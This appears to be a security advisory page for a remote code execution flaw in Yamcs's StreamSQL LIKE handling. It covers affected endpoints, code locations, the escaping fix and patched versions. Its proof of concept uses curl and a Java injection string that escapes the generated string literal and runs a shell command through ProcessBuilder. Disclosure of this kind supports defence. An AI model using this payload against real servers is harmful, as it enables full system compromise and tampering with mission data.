Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Network-reachable API needing only a routine authenticated read privilege (PR:L) with no user interaction; injected code escapes the app to run as the OS user (S:C) with full C/I/A loss.
Primary rating from Vendor (https://github.com/yamcs/yamcs).
CVSS VectorVendor: https://github.com/yamcs/yamcs
Lifecycle Timeline
4Blast Radius
ecosystem impact- 7 maven packages depend on org.yamcs:yamcs-core (7 direct, 0 indirect)
Ecosystem-wide dependent count for version 5.13.0.
DescriptionCVE.org
Summary
Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.
The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql:
POST /api/archive/{instance}:executeSqland:streamSql(privilegeControlArchiving)POST /api/archive/{instance}/tables/{table}:readRowsvia thequeryfield (privilegeReadTables)GET /api/archive/{instance}/events?q=and the event export/stream variants (privilegeReadEvents)listActivitiesq(privilegeReadActivities)
The Events page search box feeds q directly.
Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.
Details
- Sink:
Expression#getCompiledExpressioncompiles generated source withSimpleCompiler.cook(...)(Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows. - Injection:
LikeExpression#fillCode_getValueReturn(LikeExpression.java:26) appendslikeClause.patternraw intoUtils.like(<col>, "<pattern>"). The safe siblingValueExpressionescapes literals viaescapeJavaString()(ValueExpression.java:82-85); a review of all 35 streamsql code-generators foundLikeExpressionto be the only unescaped one. - Grammar:
S_STRING = "'" (~["'"])* "'"(StreamSql.jj:222) allows";getNonEscapedString(StreamSql.jj:36) does not escape"or\. - Reachability:
TableApi#executeSql(TableApi.java:399) checks onlyControlArchiving, then passes the raw statement toydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can callRuntime/ProcessBuilder.:streamSql(TableApi.java:447) is equally affected. - The sink is reachable from several lower-privilege endpoints, not just
executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound?argument (nextArgAsString->likeClause.pattern), so any endpoint building... LIKE ?with attacker input also reaches it: POST .../tables/{table}:readRows(TableApi.java:276, privilege ReadTables): thequeryandcolsrequest fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.GET .../events?q=(listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents:body.message like ?with"%"+q+"%". Verified RCE.listActivities(ActivitiesApi.java:86/113), privilege ReadActivities:detail like ?with"%"+q+"%".
ReadTables/ReadEvents/ReadActivities are routine read-only permissions. The single escapeJavaString fix below closes all of these (one sink). The raw readRows WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate cols, do not accept a free-form query at ReadTables).
Proof of Concept
Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.
BASE=http://<host>:8090
INSTANCE=<instance>
# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
-d 'grant_type=password&username=USER&password=PASS' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')
# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'
# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
# static{} initializer that runs an OS command, then reopens a dummy method so the
# generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"
# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned
# -> uid=...(...)A benign like 'abc%' does nothing; exploitation depends on the " break-out.
Impact
Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).
Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).
Remediation
Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:
code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern);
code.append("\")");Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.
Articles & Coverage 1
AnalysisAI
Remote code execution in Yamcs (yamcs-core <= 5.12.7 and 5.13.0-5.13.1) lets an authenticated, low-privileged user run arbitrary OS commands by injecting a StreamSQL LIKE pattern that breaks out of a generated Java string literal compiled at runtime by Janino. Because the pattern is embedded raw whether it arrives as a SQL literal or a bound '?' argument, the sink is reachable not only from the archiving endpoints but from routine read-only APIs (readRows, events search, activities listing), including the Events page search box. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated Yamcs account (PR:L) holding any one of several routine privileges - ControlArchiving (executeSql/streamSql), ReadTables (readRows query field), ReadEvents (events q= search and export/stream variants), or ReadActivities (listActivities q) - and network access to the corresponding /api/archive endpoints (default HTTP port 8090). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority issue rather than a high-CVSS-but-low-real-risk case. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Vendor-released patch: upgrade yamcs-core to 5.12.8 (for the 5.12.x line) or to 5.13.2 (for the 5.13.x line), per GHSA-c64q-hj4j-375f; the fix (commits 640e1598b7097b521692e89dd47a39b6cb1fc663 and a8fb4a0693fa62a6eb729b26016d1090dd8b289c) replaces the raw code.append(likeClause.pattern) in LikeExpression with ValueExpression.escapeJavaString(likeClause.pattern, code), closing all of the affected endpoints via the single sink. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify and inventory all Yamcs instances in your environment and their versions; for any running Yamcs 5.12.7, 5.13.0, or 5.13.1, immediately restrict access to vulnerable APIs including the Events search box, readRows API, and activities listing features to authorized personnel only, or disable these features entirely until patched. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
Same weakness CWE-94 – Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-67844
GHSA-c64q-hj4j-375f